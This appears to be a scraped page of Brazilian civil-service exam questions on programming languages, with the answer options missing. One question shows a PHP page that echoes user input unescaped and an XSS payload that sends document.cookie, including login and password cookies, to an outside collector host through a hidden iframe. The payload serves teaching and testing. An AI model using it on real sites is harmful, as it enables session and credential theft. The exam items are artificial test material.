Questões de Concurso
Comentadas sobre linguagens de programação em programação
Foram encontradas 5.295 questões
Considere as afirmações abaixo sobre polimorfismo na linguagem de programação JAVA.
I - A vinculação tardia ocorre se o compilador escolher um método dentre os possíveis candidatos.
II - O polimorfismo indica o princípio de que o tipo real do objeto determina o método a ser chamado.
III - A vinculação antecipada ocorre se a escolha do método é feita quando o programa está sendo executado.
Quais estão corretas?
<?php setcookie('PHPSSESID', 'meu_sid'); setcookie('login', 'meu_login'); setcookie('senha', 'minha_senha');
echo $_GET['var']; ?>
Supondo que ao executar este trecho, um usuário passou como entrada:
<script> document.write('<iframe width=1 height=1 src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(//g,'')+'></iframe>') </script>
cujo objetivo é capturar os dados de cookie do site alvo e enviá-los para o site www.coletor.com
Um Técnico de TI conclui corretamente que
public interface NewInterface {
}
A instrução que não causará erro se colocada no corpo desta interface (entre as chaves) é:
I. Internal. II. Private. III. Protected. IV. External.
Assinale a opção que indica os modificadores da lista acima que, além do modificador public, são válidos no C#, quando da especificação da acessibilidade de um membro ou tipo.
Assinale a lista dos símbolos que, respectivamente, representam esses operadores no C#.
Analise o código Python 2.7 a seguir.
class End_simples(object):
def __init__(self, rua, num, bai):
self.rua = rua
self.num = num
self.bai = bai
def Endereco(self):
return self.rua + ", " + self.num \
+ " " + self.bai
class End_com(End_simples):
def __init__(self, rua, num, bai, com):
End_simples.__init__(self,rua, num, bai)
self.com = com
def Endereco(self):
...
a = End_simples("Av Brasil", "243", \
"Floresta")
b = End_com("Av Miracema", "12", \
"Centro", "apto 3")
print(a.Endereco())
print(b.Endereco())
Sabe-se que a execução desse código produziu as duas linhas a seguir.
Av Brasil, 243 Floresta
Av Miracema, 12 Centro, apto 3
Assinale a opção que apresenta a correta definição para o
método Endereco na classe End_com.
Analise o código Python 2.7 a seguir.
L1=[ ]
L2=[1,2,3,4]
for k in range(3, -4,-1):
L1.append(L2[k])
for x in L:
print x
Esse programa causa
Analise o código C# exibido a seguir.
using System;
namespace ErrorHandlingApplication {
class DivNumbers {
int result;
DivNumbers() {
result = 0;
}
public void division(int num1, int num2) {
try {
result = num1 / num2;
}
catch (SystemException e) {
Console.WriteLine
(e.ToString().Split(':')[0]);
} finally {
Console.WriteLine
("Resultado: {0}", result);
}
}
static void Main(string[] args) {
DivNumbers d = new DivNumbers();
d.division(24, 2 >> 1);
}
}
}
Assinale a opção que exibe o resultado da execução desse código.
Observe a linha de código NodeJS exibida a seguir.
var http = require('http');
Assinale a opção que melhor descreve esse comando.
Analise o código Java a seguir.
public class Exemplo {
static class C {
static int a;
int b;
void metodo() {
System.out.println(String.format("%d %d" ,a, b ));
}
}
public static void main(String[] args) {
C myC1 = new C();
C myC2 = new C();
myC1.a=10;
myC2.b=20;
myC1.metodo();
myC2.metodo();
}
}
A execução desse código produz
Analise o script a seguir.
<p id="demo"></p>
<script>
try {
a = 10/0;
document.getElementById("demo").innerHTML = "OK";
}
catch(err) {
document.getElementById("demo").innerHTML = err.message;
}
</script>
A execução desse script produz
Observe o código a seguir.
<button onmouseover="this.innerHTML='ON’"
onmouseout="this.innerHTML='OFF'">Aqui</button>
Supondo que o cursor do mouse inicialmente esteja fora da área
de botão, assinale o texto exibido no botão quando a página que
o contém estiver carregada.
Analise o código Python 2.7 a seguir
L=[10, 12, 14, 16]
for k in range(4, -5,-1):
print L[k]
Esse programa causa